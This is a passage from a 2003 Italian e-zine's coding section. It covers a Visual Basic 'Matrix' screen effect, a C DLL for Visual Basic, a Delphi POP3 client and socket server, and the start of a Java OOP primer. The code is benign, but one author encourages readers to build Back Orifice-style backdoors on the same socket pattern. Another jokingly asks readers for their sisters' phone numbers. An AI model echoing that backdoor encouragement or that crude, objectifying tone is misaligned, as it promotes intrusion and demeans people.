| una volta arrivata al punto in cui rilascia la sua variabile. |
| |
| ...Ti ho tanto amata...vaffanculo, stronza!!... |
| |
| Allora...non ci credo...Ho finito... |
| |
| ...La battaglia per il Fosso di Helm è appena finita, la guerra per la |
| Terra di Mezzo sta per cominciare... |
| |
| Ecco qua di seguito i codici sorgenti del programmino MATRIX che ho |
| realizzato...se seguirete attentamente le mie istruzioni di cui sopra |
| funzionerà tutto alla perfezione...come vi ho detto non sarà uguale ma |
| molto simile...a voi il compito di migliorarlo, se vi va (fatevelo |
| andare, per favore)... |
| |
| ------------------------------------------------------MATRIX------------ |
| ------------------------------------------------------------------ |
| |
| Dim j(19) As Integer |
| Dim z(19) As Integer |
| Dim counter(19) As Integer |
| Dim timestr1 As Integer |
| Dim timestr2 As Integer |
| Dim zstr As Integer |
| Dim jstr As Integer |
| Dim zlet(1) As Integer |
| Dim jlet(1) As Integer |
| Dim varlet(1) As String |
| Dim countlet(1) As Integer |
| Dim sost As Integer |
| Dim varcas As String |
| Dim xpoint As Integer |
| Dim ypoint As Integer |
| |
| Function TimeGen(col As Integer, riga As Integer) As String |
| Randomize |
| Line (col, riga)-(col + 1, riga + 1), RGB(0, 0, 0), BF |
| PSet (col, riga) |
| Print Chr(Rnd * 255) |
| Line (col, riga)-(col + 1, riga + 1), RGB(0, 0, 0), B |
| TimeGen = Chr(Rnd * 255) |
| End Function |
| |
| Function TimeCanc(col As Integer, riga As Integer) As String |
| Line (col, riga)-(col + 1, riga + 1), RGB(0, 0, 0), BF |
| TimeCanc = Chr(Rnd * 255) |
| End Function |
| |
| Private Sub TimeLet_Timer() |
| Randomize |
| For i = 0 To 1 |
| If jlet(i) > countlet(i) Or zlet(i) = 0 Then |
| zlet(i) = Rnd * ScaleWidth |
| jlet(i) = 0 |
| countlet(i) = Rnd * (ScaleHeight - 2) |
| If i = 0 Then |
| Do |
| X = CInt(Rnd * 57) |
| varlet(i) = Chr(X) |
| Loop While (X < 48) |
| Else |
| Do |
| X = CInt(Rnd * 90) |
| varlet(i) = Chr(X) |
| Loop While (X < 65) |
| End If |
| End If |
| Line (zlet(i), jlet(i) - 1)-(zlet(i) + 1, jlet(i)), RGB(0, 0, 0), BF |
| Line (zlet(i), jlet(i) - 1)-(zlet(i) + 1, jlet(i)), RGB(0, 0, 0), B |
| Line (zlet(i), jlet(i))-(zlet(i) + 1, jlet(i) + 1), RGB(0, 0, 0), BF |
| PSet (zlet(i), jlet(i)) |
| Print varlet(i) |
| Line (zlet(i), jlet(i))-(zlet(i) + 1, jlet(i) + 1), RGB(0, 0, 0), B |
| jlet(i) = jlet(i) + 1 |
| Next i |
| End Sub |
| |
| Private Sub TimeSost_Timer() |
| Randomize |
| Dim xpos As Integer |
| Dim ypos As Integer |
| tryagain: |
| xpos = z(sost) |
| ypos = Rnd * counter(sost) |
| If ypos > j(sost) Then |
| GoTo tryagain |
| Else |
| Line (xpos, ypos)-(xpos + 1, ypos + 1), RGB(0, 0, 0), BF |
| PSet (xpos, ypos) |
| Print varcas |
| Line (xpos, ypos)-(xpos + 1, ypos + 1), RGB(0, 0, 0), B |
| End If |
| sost = sost + 1 |
| If sost > 19 Then sost = 0 |
| End Sub |
| |
| Private Sub Timer_Timer(index As Integer) |
| Randomize |
| If j(index) < counter(index) Then |
| varcas = TimeGen(z(index), j(index)) |
| ElseIf j(index) > counter(index) And j(index) < ScaleHeight Then |
| varcas = TimeCanc(z(index), j(index)) |
| Else |
| z(index) = Rnd * ScaleWidth |
| j(index) = -1 |
| counter(index) = Rnd * ScaleHeight |
| End If |
| j(index) = j(index) + 1 |
| If j(index) = counter(index) Then j(index) = j(index) + 1 |
| End Sub |
| |
| Private Sub TimeStr_Timer() |
| Randomize |
| If (timestr1 = 0 And timestr2 = 0) Or jstr > (ScaleHeight + 10) Then |
| timestr1 = Rnd * ScaleHeight / 2 |
| timestr2 = timestr1 + 18 |
| zstr = Rnd * (ScaleWidth - 15) |
| jstr = 0 |
| End If |
| If jstr < timestr1 Or jstr > timestr2 Then |
| varcas = TimeCanc(zstr, jstr) |
| Else |
| varcas = TimeGen(zstr, jstr) |
| End If |
| varcas = TimeGen((zstr + 15), jstr) |
| Line ((zstr + 15), jstr - 10)-((zstr + 15) + 1, jstr - 9), RGB(0, 0, |
| 0), BF |
| Line ((zstr + 15), jstr - 10)-((zstr + 15) + 1, jstr - 9), RGB(0, 0, |
| 0), B |
| jstr = jstr + 1 |
| End Sub |
| |
| Private Sub Form_DblClick() |
| End |
| End Sub |
| |
| |
| --------------------------------------------------------------END------- |
| --------------------------------------------------------------------- |
| |
| E così...anke i codici sorgenti sono finiti...non ho più niente da |
| dirvi (per ora) e quindi non mi resta che salutarvi...se qualcuno fosse |
| preso dalla voglia di migliorare il mio programma o magari scriverlo |
| nuovo, sarei felice se mandasse sulla mia e-mail (in fondo) ogni |
| eventuale modifica o nuova stesura del codice sorgente (anke in altri |
| linguaggi). |
| Per eventuali delucidazioni (senti qua che paroloni) scrivetemi pure... |
| Se avete una sorella bona scrivetemi a maggior ragione e presto e |
| magari mandate anke il numero del cellulare (di lei, ovvio)... |
| |
| Ok...vi saluto... |
| Grazie a tutti per l'ascolto... |
| Ah...ehy, Screener, visto che non sei il solo a usare questo cavolo di |
| linguaggio? ;) |
| |
| A presto... |
| |
| ...Au Revoir...fatevi sentire... |
| |
| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| @@@@@@@@@@@@@@@@@ ------"Pupi"------ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| @@@@@@@@@@@@@@@@ -Toscaio@Hotmail.com- @@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| CREARE UNA DLL iN C PER ViSUAL BASiC [cyberdude] 0x10/0x20 |
+--------------------------------------------------------------------------+
| |
| _____________________________________ |
| CREARE UNA DLL IN C PER VISUAL BASIC |
| _____________________________________ |
| ___________________by_Cyberdude______ |
| |
| Ciao a tutti ragazzi... sto a casa mia in veranda, come al solito |
| avanti alla mia postazione (il PC) domani tengo il compito di |
| matematica anche se forse non entriamo perchè non siamo molto |
| capaci di farlo!Comunque non è questo che ci interessa tra un pò |
| dovrebbero venire Michele e Luciano a studiare qui perchè dobbiam |
| ripetere la matematica! Voi direte e a noi cosa ce ne frega? beh |
| penso proprio che abbiate ragione, non è altro che un cazzuto di |
| intro schifoso, comunque se proprio volete saperlo, sto scrivendo |
| quello che mi esce dalla testa per occupare un pò di tempo perchè |
| mentre non vengono i miei amici non so che fare! |
| |
| Allora, di cosa vi parlo? Partiamo dal presupposto che questo |
| articolo devo inviarlo ad una crew per pubblicarlo su chi sa quale |
| E-zine! Certo potrebbe succedere anche che questo testo venga |
| cestinato direttamente ma comunque penso di dover parlare di qualche |
| cosa che riguarda l'informatica... ihihih che bello la mia materia |
| preferita! |
| |
| Dunque vediamo un pò...datemi un pò di tempo che ci penso e vi |
| faccio sapere di cosa parleremo!! |
| |
| Ecco ci sono vi spiegherò come creare una DLL in C per Visual Basic |
| che ne dite vi piace? beh penso che se lo state leggendo vi piace |
| perchè metterò come titolo proprio questo : |
| |
| CREARE UNA DLL IN C PER VISUAL BASIC |
| |
| Allora prima di iniziare vorrei farvi una premessa,Creare una DLL |
| in C per Visual Basic può sembrare quanto di più controverso e labile |
| possibile, ma in realtà non è così e questo articolo spiega proprio |
| come fare fornendo codice sia in C, per la creazione della DLL, sia |
| in Visual Basic, che usufruisce della DLL stessa |
| |
| NAturalmente belli miei se non sapete programmare in C fate come me... |
| prima di leggere questo tutorial leggetevi prima una guida sulle |
| basi del C ok? |
| |
| Detto questo direi di passare direttamente ad analizzare il codice |
| |
| Osservate questa funzione che esegue la somma di un array: |
| ---Codice--- |
| /* DLL di dimostrazione su come fare la somma di un array dichiarato |
| in Visual Basic e passato in Microsoft Visual C++ 4.0 */ |
| extern "C" __declspec (dllexport) long __stdcall SommaArray(short |
| *Array,long Elementi) |
| { |
| long SommaParziale=0; |
| long ElementoCorrente; |
| |
| for (ElementoCorrente=0;ElementoCorrente<Elementi;ElementoCorrente++) |
| { |
| SommaParziale+=Array[ElementoCorrente]; |
| } |
| return SommaParziale; |
| } |
| ---Fine Codice--- |
| Ovviamente, prima di scrivere questo codice in un file di testo, |
| bisogna creare unarea di progetto, facendo riferimento al proprio |
| compilatore, che prevede come output proprio una Libreria a |
| Collegamento Dinamico (DLL = Dynamic Link Library). |
| |
| Ora, per chiarire meglio la situazione, iniziamo col commendare il |
| codice che compone questa funzione C. |
| |
| extern "C" __declspec (dllexport) long __stdcall SommaArray(short |
| *Array,long Elementi) |
| Questa riga qui sopra è la dichiarazione della funzione. Quando si |
| dichiara una funzione non è necessario utilizzare una riga di così |
| tanti elementi, ma se bisogna fare un DLL ed è necessario che le |
| routine sia pubblica, bisogna specificare tali elementi per forza. |
| |
| extern "C" - È necessario per rendere il nome della funzione conforme |
| al tipo C, e non al C++ che tende ad incasinare le dichiarazioni con |
| una moltitudine di simboli proprietari. |
| |
| __declspec (dllexport) - È necessario perché fa in modo che la routine |
| sia pubblica e possa essere accessibile da un programma esterno che |
| chiama la DLL. |
| |
| __stdcall - È necessario perché il Visual Basic vuole le chiamate |
| secondo le convenzioni stdcall. |
| |
| SommaArray è il nome della funzione. |
| |
| Il primo parametro fra le parentesi tonde è un puntatore (il simbolo |
| dell'asterisco * ne è l'indicatore) ad un array di interi a 16 bit |
| (per questo c'è short) ed ha nome Array. Il secondo parametro è invece |
| una semplice variabile di nome elementi di tipo long integer. Non |
| avremo bisogno di dichiarare successivamente queste variabili nel |
| codice; lindicazione nella dichiarazione della funzione è più che |
| sufficiente. |
| |
| Tutto chiaro? spero proprio di si perchè se è così passerei oltre... |
| vediamo un poco come funziona il codice C ok? |
| |
| Le prime due righe |
| long SommaParziale=0; |
| long ElementoCorrente; |
| Sono le dichiarazioni di due piccole variabili che useremo per fare |
| la somma (SommaParziale) e per fare la conta degli elementi |
| dellarray (ElementoCorrente). In particolare, la prima viene |
| inizializzata a zero, cosa che, contrariamente a Visual Basic, il |
| C non fa automaticamente. La seconda variabile non ha necessità di |
| essere inizializzata poiché verrà inizializzata fra un attimo. |
| Proseguendo nel codice otteniamo un ciclo for non molto dissimile dal |
| classico for
next di Visual Basic: |
| |
| for (ElementoCorrente=0;ElementoCorrente<Elementi;ElementoCorrente++) |
| { |
| SommaParziale+=Array[ElementoCorrente]; |
| } |
| return SommaParziale; |
| |
| Le uniche differenze sono nella sintassi, infatti viene specificato |
| prima la condizione iniziale di una variabile (qui inizializziamo |
| la variabile ElementoCorrente a 0, cosa che non avevamo fatto nella |
| dichiarazione della stessa), poi la condizione per cui il ciclo |
| debba essere ripetuto (ElementoCorrente deve essere necessariamente |
| minore del numero degli Elementi) e poi l'operazione da effettuare |
| ad ogni nuovo ciclo (e cioè aumentare di 1 il valore di |
| ElementoCorrente). |
| |
| A questo punto (SommaParziale+=Array[ElementoCorrent]) si può leggere |
| dal puntatore e fare la somma di tutti i valori. La nostra variabile, |
| preventivamente dichiarata a zero, ora risulta molto utile per contare. |
| Da notare, inoltre, che il C, invece delle parentesi tonde, usa le |
| parentesi quadre per indicare un elemento di una matrice. |
| |
| Lultima riga (return SommaParziale) fa in modo che la funzione torni |
| il valore delle somme. |
| Questo è tutto! Ora abbiamo una funzione in C che, se compilata, da |
| luogo ad una DLL con cui Visual Basic, se opportunamente istruito, |
| è ben lieto di lavorare. |
| |
| Con Visual Basic le cose si fanno per un attimo più dure, ma non cè |
| da preoccuparsi, non è nulla di grave: come prima cosa bisognerà |
| dichiarare la funzione come appartenente ad una DLL (esattamente |
| come succede con le API di Windows) per poi poterla utilizzare |
| nel codice come se fosse esattamente una Function di Visual Basic. |
| Il problema più grosso è nella dichiarazione, ma come ho già |
| spiegato trova facile soluzione. |
| |
| La dichiarazione della funzione C và fatta nella sezione generale |
| di un form oppure di un modulo, a seconda della globalità che si |
| desidera e deve somigliare a ciò che segue: |
| Private Declare Function SommaArray Lib "Array.dll" |
| Alias "_SommaArray@8" (ByRef PuntaArray As Integer, ByVal Elementi |
| As Long) As Long. Questa è la dichiarazione per la funzione |
| SommaArray presente nella DLL Array.dll precedentemente compilata. |
| |
| L'alias della funzione è necessario perché il tipo di chiamata |
| STDCALL (quello che abbiamo definito quando abbiamo scritto la |
| funzione in C, il solo che Visual Basic riesce ad agganciare) |
| modifica leggermente il nome della funzione aggiungendo alcuni |
| particolari. I problemi sorgono proprio qui, tuttavia non è |
| difficile ricavare l'alias. Infatti al nome della funzione |
| (SommaArray) va aggiunto un trattino basso prima (Quindi |
| diventa _SommaArray) e una chiocciola alla fine (Quindi _SommaArray@). |
| Dopo la chiocciola va aggiunto un numero che è pari al numero di |
| argomenti (qui ne abbiamo due: PuntaArray e Elementi) da passare per |
| il valore 4, quindi 4*2=8. (Quindi _SommaArray@8). La moltiplicazione |
| Per 4 è usata dal compilatore per allineare gli argomenti in 4 byte |
| per volta. Ciò avviene per minimizzare loverhead, infatti i |
| processori, a partire dal Pentium, gradiscono molto lallineamento |
| dword (double word, una word sono 2 byte, quindi due word sono 4 |
| byte). |
| |
| Molta attenzione richiedono le maiuscole e le minuscole, infatti |
| con sistemi operativi a 32 bit (Quali Win9x, WinNT, etc
) le |
| funzioni sono case-sensitive. Altra cosa importantissima è quella |
| di specificare sempre il tipo di valore tornato dalla funzione alla |
| fine della dichiarazione (in questo caso è un long)! Se ciò non |
| avviene, potreste incorrere in fastidiosissimi errori di pagina non |
| valida che rendono impossibile lesecuzione del programma. |
| |
| Infine è da notare come i due parametri della funzione (PuntaArray |
| e Elementi) siano passati uno come ByRef e l'altro come ByVal. |
| Infatti quando si passa un parametro (o argomento) come ByRef vuol |
| dire che il C dovrà aspettarsi un puntatore in memoria, mentre se |
| passiamo un parametro con ByVal, vuol dire che la funzione C aspetta |
| non un puntatore, ma un valore vero e proprio. |
| |
| E adesso eccovi qui il codice |
| |
| 'Creiamo l'array di 100 elementi di interi a 16 bit |
| Dim Array_Prova(1 To 100) As Integer |
| Dim i As Long |
| Dim Somma As Long |
| |
| 'Inseriamo nell'array i numeri da 1 a 100 |
| For i = 1 To 100 |
| Array_Prova(i) = i |
| Next i |
| |
| 'Ed ora calcoliamo la somma con la funzione C |
| Somma = SommaArray(Array_Prova(1), 100) |
| 'L'array è passato con l'indice 1 perché inizia con il valore 1. |
| '100 è il numero degli elementi dell'array. |
| |
| Label2.Caption = Somma |
| 'Mostra sullo schermo la somma che dovrebbe essere pari a 5050. |
| |
| |
| Lunico dettaglio che mi preme far notare è quello riguardante |
| proprio la chiamata della funzione: il primo parametro Array_Prova |
| è indicato con lindice 1 perché è unarray che inizia da 1 e fisce |
| a 100; in altro caso avrebbe avuto lindice del primo elemento |
| dellarray. Se si erra con questo parametro, Visual Basic notifica |
| lerrore e permette quindi di correggerlo; tuttavia il secondo |
| parametro è più delicato, infatti il C non conosce di quanti |
| elementi sia il nostro array, quindi dobbiamo essere molto precisi |
| nellindicarlo perché se minore al numero reale, otterremo dei |
| risultati falsati, mentre se maggiore non mi stupirei affatto di |
| un errore di pagina non valida con relativa chiusura di Visual |
| Basic nel peggiore dei casi (quasi sempre). Comunque, ad ogni modo, |
| prestate sempre molta attenzione a questo parametro. |
| |
| Giunti a questo punto io vi saluto... ho passato un pò di tempo e |
| dopo 90 minuti (1 ora e mezza) si sono fatte le 3 quindi tra |
| pochissimo arrivano i miei amici e si riprende la solita vita fatta |
| di studio !! che palle |
| |
| Ciao a tutti |
| Cyberdude |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| iNTERNET APPLiCATI0N iN DELPHi [cyberdude] 0x11/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| -------------------------------------------------------- |
| CYBERDUDE TUTORIAL >>> DELPHI |
| -------------------------------------------------------- |
| |
| In questo articolo parleremo di |
| |
| >> INTERNET APPLICATION IN DELPHI |
| Siamo pronti? direi di non perdere altro tempo e di far |
| presto a iniziare!! |
| |
| Schiattatevi nella testa questa introduzione e poi si |
| inizia ... Delphi offre, senza dubbio, lapproccio più |
| semplice per sfruttare tutti i servizi che Internet ci |
| offre. Alcuni sono utilizzabili "a naso" e non |
| necessitano di alcuna spiegazione. La guida in linea |
| offre esempi completi, molto esaurienti. Non aspettatevi |
| dunque, di trovare una guida sullutilizzo di nmftp, |
| nmpop3 o simili, poiché ne rimarrete delusi. Vedremo, |
| invece, come ottenere gli stessi risultati con un |
| maggiore controllo utilizzando i protocolli classici, |
| in primis il tcp (Transmission Control Protocol). Buona |
| lettura! |
| |
| In questo paragrafo, vedremo come controllare se abbiamo |
| nuova posta e come leggerla. Dovremo basarci sul |
| protocollo pop3 (post office protocol). E di certo il |
| più semplice, perché composto da soli pochi comandi. |
| Non li vedremo tutti, ma solo quelli che serviranno ai |
| nostri scopi. Lascio ai più curiosi lesplorazione |
| totale di questi argomenti. I due componenti da |
| trascinare sul form (che serviranno sempre) saranno due: |
| TNMMsg e TServerSocket. Entrambe le classi (una fornita |
| da NetMasters e laltra da Borland) hanno le stesse |
| funzioni, pertanto ho deciso di usarle entrambe, una in |
| veste di client, laltra di socket. Vediamo, ora, le |
| proprietà più rilevanti di tali componenti. |
| Host=lindirizzo Ip o il nome del server a cui |
| intendiamo connetterci. Port= la porta su cui |
| trasmetteremo i nostri dati. ReportLevel = il grado di |
| dettaglio con cui ci saranno presentate le stringhe di |
| risposta del server; è sempre bene settarlo con un |
| valore superiore a zero. Timeout = il tempo limite che |
| il componente aspetterà una risposta del server prima di |
| chiudere la connessione; zero indica lassenza di un |
| valore limite. |
| |
| procedure TForm1.Button1Click(Sender: TObject); |
| //procedura per connettersi |
| |
| begin |
| |
| msgout.Host := 'mail.posta.net; |
| //server di posta |
| |
| msgout.Port := 110; |
| //pop3 |
| |
| msgout.TimeOut := 15000; |
| //aspettiamo risposte dal server 15 sec prima di |
| disconnetterci |
| |
| msgout.ReportLevel := 2; |
| //così ci saranno date le risposte del server |
| |
| msgout.Connect; |
| //ci connettiamo |
| |
| end; |
| |
| |
| |
| procedure TForm1.Button2Click(Sender: TObject); |
| //procedura per leggere |
| |
| begin |
| msgout.SendBuffer('user username' + #13 + #10, 64); |
| sleep(1500); |
| //username |
| |
| msgout.SendBuffer('pass password' + #13 + #10, 64); |
| sleep(1500); |
| //password |
| |
| msgout.SendBuffer('stat' + #13 + #10,64); sleep(1500); |
| //situazione attuale |
| |
| msgout.SendBuffer('retr 1' + #13 + #10,64); sleep(3500); |
| //visualizza i messaggi |
| |
| msgout.SendBuffer('dele 1' + #13 + #10,64); |
| //cancella il messaggio |
| |
| end; |
| |
| |
| procedure TForm1.Button3Click(Sender: TObject); |
| //procedura per disconnettersibegin |
| |
| msgout.Disconnect; |
| //ci disconnettiamo |
| |
| end; |
| |
| |
| |
| I commenti posti sotto le righe di codice rendono |
| inutile ogni spiegazione ulteriore. Da notare linvio, |
| dopo ogni stringa, dei caratteri 13 e 10, cioè la |
| simulazione della pressione del tasto <Invio>. A questo |
| punto, sarete anche in grado di inviare una e-mail o |
| mandare messaggi ai newsgroup. Tuttavia, lapproccio |
| presentato non è il migliore: inviare una stringa ogni |
| n secondi non va bene per unapplicazione seria. Infatti |
| dovremmo spedire ogni volta che il server risponde. |
| Basta comunque dare unocchiata allevento OnStatus, |
| per vedere che è proprio ciò che stavamo cercando. |
| Vediamo, ora, come simulare un server che, alla |
| ricezione di una stringa, la visualizza in una TextBox. |
| Innanzi tutto, aggiungiamo sulla maschera un controllo |
| TServerSocket e settiamo a 1024 la proprietà Port: |
| |
| procedure TForm1.FormCreate(Sender: TObject); |
| begin |
| servSock.Active := true; |
| //allo start up mettiamo il server in ascolto |
| end; |
| |
| procedure TForm1.servSockClientRead(Sender: TObject; |
| Socket: |
| TCustomWinSocket); |
| begin |
| strClient.Lines.Add(Socket.ReceiveText); |
| //mettiamo in un memo ciò che riceviamoend; |
| |
| procedure TForm1.servSockAccept(Sender: TObject; Socket: |
| TCustomWinSocket); |
| begin |
| strClient.Lines.Add('Connected'); |
| //avvertiamo lutente dellavvenuta connessione |
| end; |
| |
| |
| Tre righe! Incredibile, no?Nulla vieta di poter |
| rispondere
e da ciò si capisce che sarà anche |
| relativamente facile realizzare una piccola chat.Adesso, |
| immaginate di scrivere un client che invia delle |
| stringhe a un server posto su un pc di un vostro amico. |
| Tale server prende il buffer e, a seconda di ciò che |
| riceve, esegue delle operazioni sul pc. Non vi viene in |
| mente nulla? Ma certo che sì
le backdoors (tipo back |
| orifice, netbus etc.) funzionano proprio così. |
| |
| In pratica ragazzi,non sono per nulla difficili da |
| realizzare, né da usare. Potrei dilungarmi con tanti |
| altri esempi, ma continuerei a mostrarvi listati sempre |
| simili, con le uniche modifiche necessarie per sfruttare |
| luno o laltro protocollo. Meglio lasciare a voi la |
| palla... divertitevi pure hihihihhi :) |
| |
| Volete anche le conclusioni di questo tutorial? e io ve |
| le do ... tutti i linguaggi offrono un modo più o meno |
| personalizzabile/semplice da usare. Delphi è sicuramente |
| il più adatto. Infatti potrete scegliere se usare |
| pacchetti preconfezionati tipo NMPOP3, oppure |
| personalizzare maggiormente il lavoro, usando |
| lincapsulamento dei socket o, addirittura, scegliere |
| di lanciarsi tra le API nude e crude di winsock32.dll. |
| Nulla vieta poi di mischiare le possibilità. |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| 00P [warfare] 0x12/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| Introduzione alla programmazione ad oggetti (OOP) |
| |
| Intro: Questo articolo introduce la programmazione ad oggetti tramite |
| il |
| linguaggio Java, siccome non prevede la spiegazione della |
| programmazione |
| di base, si preferisce una minima conoscenza del Java o del C/C++ (dato |
| che sono molto simili nella sintassi di base). |
| |
| Per introdurre la programmazione ad oggetti ho deciso di utilizzare uno |
| dei linguaggi più diffusi, il Java. Java è un potente linguaggio di |
| programmazione general-purpose, possiede un altissimo grado di |
| portabilità ("Write Once, Run Anywhere") che consente di eseguire |
| applicazioni indipendentemente dalla macchina o sistema operativo |
| utilizzato. Prima di partire con la spiegazione ritengo opportuno, |
| siccome questo articolo è dedicato a chi inizia a programmare "ad |
| oggetti" (OOP - Object Oriented Programming), spiegare le differenze |
| con |
| la programmazione tradizionale. |
| |
| Di solito un programma è un'insieme di istruzioni eseguite in modo |
| "procedurale", cioè il programma è un'insieme di procedure che vengono |
| utilizzate per un determinato scopo. L'idea di base della OOP è quella |
| di strutturare un programma in modo da sembrare il più vicino alla |
| realtà. Ma che cos'è un oggetto? Un oggetto è "un oggetto reale"... per |
| esempio una radio. Ad esempio di una radio abbiamo delle |
| caratteristiche |
| del tipo: |
| |
| Volume: 4 |
| Canale: 105 |
| Accesa: SI |
| Colore: Nera |
| Produttore: Pannasonic |
| |
| Abbiamo così una radio in particolare, ma quello che ora ci interessa è |
| estrarre un modello generale valido per ogni radio, infatti tutte le |
| radio hanno un volume, un canale su cui si sintonizza, è accesa |
| (si/no), |
| un colore e un produttore. Il modello generale dell'oggetto radio lo |
| chiamiamo Classe Radio. Da questa classe "madre", possiamo creare |
| (istanziare) oggetti particolari dando alle istanze della classe dei |
| valori (volume=4, canale=105 ecc..). |
| |
| Oggetto: Radio |
| |
| +----------+-------+ |
| |Attributi | Tipo | |
| +----------+-------+ |
| |Volume | Num. | |
| +----------+-------+ |
| |Canale | Num. | |
| +----------+-------+ |
| |Acceso | Bool | |
| +----------+-------+ |
| |Prod. | String| |
| +----------+-------+ |
| |
| |
| Ogni oggetto oltre ad avere degli attributi, può compiere anche delle |
| azioni, nel nostro caso accendersi, cambiare canale, |
| aumentare/diminuire |
| il volume. Queste azioni vengono chiamate metodi. Per un buon stile di |
| programmazione, di solito gli attributi vengono dichiarati in modo tale |
| che non possono essere "visti" all'esterno della classe, ma per essere |
| modificati bisogna richiamare dei metodi di visibilità più ampia che mi |
| permettono di impostare i valori degli attributi. Le keywords "private" |
| e "public" mi permettono di modificare lo scope (la visibilità) di un |
| membro (metodo o attributo) della classe. Se io dichiaro un membro |
| "private" posso richiamare il metodo solo nella stessa classe ma non al |
| di fuori di essa, al contrario "public" mi consente di far richiamare |
| il |
| membro all'esterno della classe (esiste un'altro modificatore di |
| visibilità, il "private" che vedremo poi, ma posso accennare che è una |
| via di mezzo fra il private e il public). Vediamo ora un esempio molto |
| semplice di programmazione di un esempio di classe in Java prendendo in |
| considerazione la classe Radio. |
| |
| |
| |
| // nomefile: Radio.Java |
| |
| public class Radio{ |
| private int volume; |
| private int canale; |
| private boolean accesa; |
| |
| // - Metodi - |
| public void accendi(){ |
| accesa = true; |
| } |
| |
| public void spegni(){ |
| accesa = false; |
| } |
| |
| public void setVolume(int volume){ |
| this.volume = volume; |
| } |
| |
| public void setCanale(int canale){ |
| this.canale = canale; |
| } |
| |
| public void stampaRadio(){ |
| System.out.print("Accesa: " + accesa + "\n"); |
| System.out.print("Canale: " + canale + "\n"); |
| System.out.print("Volume: " + volume + "\n"); |
| } |
| } |
| |
| // nomefile: provaRadio.Java |
| |
| public class provaRadio{ |
| public static void main(String[] args){ |
| Radio r0; |
| r0 = new Radio(); |
| r0.accendi(); |
| r0.setVolume(4); |
| r0.setCanale(105); |
| r0.spegni(); |
| } |
| } |
| |
| Ok... vediamo di spiegare qualche riga di questo programmino che non fa |
| nient'altro che creare un'istanza della classe radio e eseguire qualche |
| "azione". Partiamo dall'inizio. - nomefile: Radio.Java - Dopo la prima |
| riga in cui viene definita la visibilità della classe e il suo nome |
| (che |
| deve essere uguale al nome del file) abbiamo la dichiarazione degli |
| attributi della radio in forma <visibilità> <tipo> <nome_attributo> |
| [<valore>] e subito
dopo ci sono i metodi in forma <visibilità> <tipo> |
| <nome_metodo> [<parametri formali>]. Il programma non dovrebbe essere |
| di |
| difficile comprensione per chi ha un minimo di esperienza di |
| programmazione quindi non mi dilungo molto e passo a parlare della |
| keyword this che appare per la prima volta nel metodo setVolume. "this" |
| fa riferimento all'oggetto corrente e viene utilizzato quando sorge |
| ambiguità con nomi delle variabili. Prendendo in esame il metodo public |
| void setVolume(int volume) possiamo notare che ho dichiarato un |
| parametro con nome uguale a un attributo dichiarato in precedenza. Se |
| io |
| nell'istruzione precedente avessi scritto volume = volume; al posto di |
| this.volume = volume non avrei impostato il valore della variabile |
| d'istanza uguale al valore del parametro del metodo. Infatti il |
| compilatore in questo modo, quando nel codice del metodo trova una |
| variabile cerca il riferimento più vicino che in questo caso sarebbe |
| stato quello del parametro del setVolume, quindi se come dicevo prima |
| avessi fatto volume = volume; e gli avessi passato 3 a setVolume avrei |
| ottenuto una cosa del genere 3 = 3 che non mi sarebbe servita a nulla. |
| Con la parola chiave this, posta davanti al nome della variabile |
| volume, |
| faccio riferimento alla variabile d'istanza volume e quindi posso |
| impostare il suo valore uguale al parametro passato. |
| - nomefile: provaRadio.Java - La prima cosa che salta all'occhio è il |
| fatto che abbiamo un'altra parola chiave prima del tipo del metodo main |
| che è static. Per il momento "prendetela per buono" e passiamo a |
| parlare |
| di cosa fa il metodo main (che penso tutti sappiate di che metodo si |
| tratta...). La prima istruzione è "Radio r0" che crea una variabile di |
| nome r0 destinata a contenere un'indirizzo di memoria di una futura |
| istanza della classe Radio che per ora punta a null, cioè non |
| referenzia |
| nulla. La seconda istruzione r0 = new Radio() crea un'istanza della |
| classe Radio im memoria e la fa referenziare da r0, quindi ora r0 |
| contiene un'indirizzo di memoria. Dopo ciò penso sia tutto chiaro, r0 |
| che è un'oggetto puo' accedere ai metodi d'istanza e eseguire delle |
| azioni dichiarate in precedenza. Ora apro una parentesi sui metodi per |
| quanto riguarda i seguenti argomenti: "passaggio di argomenti per |
| valore |
| e per riferimento" e "overloading di metodi". Per quanto riguarda il |
| passaggio di argomenti per valore e per riferimento possiamo dire che i |
| metodi che ricevono dei parametri sostanzialmente ricevono due tipi di |
| dati, primitivi (int, char, boolean, long,...) oppure possono riceve |
| variabili contenenti indirizzi di memoria che si riferiscono a zone di |
| memoria. Rispettivamente in Java nel primo caso si parla di passaggio |
| per valore, nel senso che se io ho una situazione del tipo |
| |
| void volume(){ |
| int n = 4; |
| setVolume(n); |
| } |
| void setVolume(int volume){ |
| volume++; |
| } |
| |
| passo il parametro attuale (n) a setVolume che si crea una nuova |
| variabile in memoria e copia il valore di n nella nuova variabile, |
| questo comporta che le variazioni della nuova variabile non comportano |
| nessun cambiamento alla variabile n (che nel nostro caso rimarrà sempre |
| 4), ma ci permetterà di utilizzare il suo valore. Al contrario |
| |
| ... |
| void metodo(){ |
| Radio r0; |
| r0 = new Radio(); |
| setVolume(r0); |
| r0.stampaRadio(); |
| } |
| void setVolume(Radio r){ |
| r.setVolume(4); |
| } |
| ... |
| // (si veda l'esempio della classe Radio per avre un'idea più completa) |
| |
| Passando il riferimento dell'istanza della classe Radio, ho una nuova |
| variabile che punta alla stessa zona di memoria della precedente, il |
| che |
| comporta la modifica, nel nostro caso del volume, infatti se noi |
| eseguiamo questo codice avremo una stampa a video che ci indichera che |
| il volume della radio è 4 (passaggio di parametro per riferimento). |
| L'overloading di metodi s'intende quando si dichiarano due o più metodi |
| dello stesso tipo ma con un differente numero di parametri. Ad esempio |
| dichiarando |
| |
| (1) void pippo(){return;} |
| (2) void pippo(int par1){return;} |
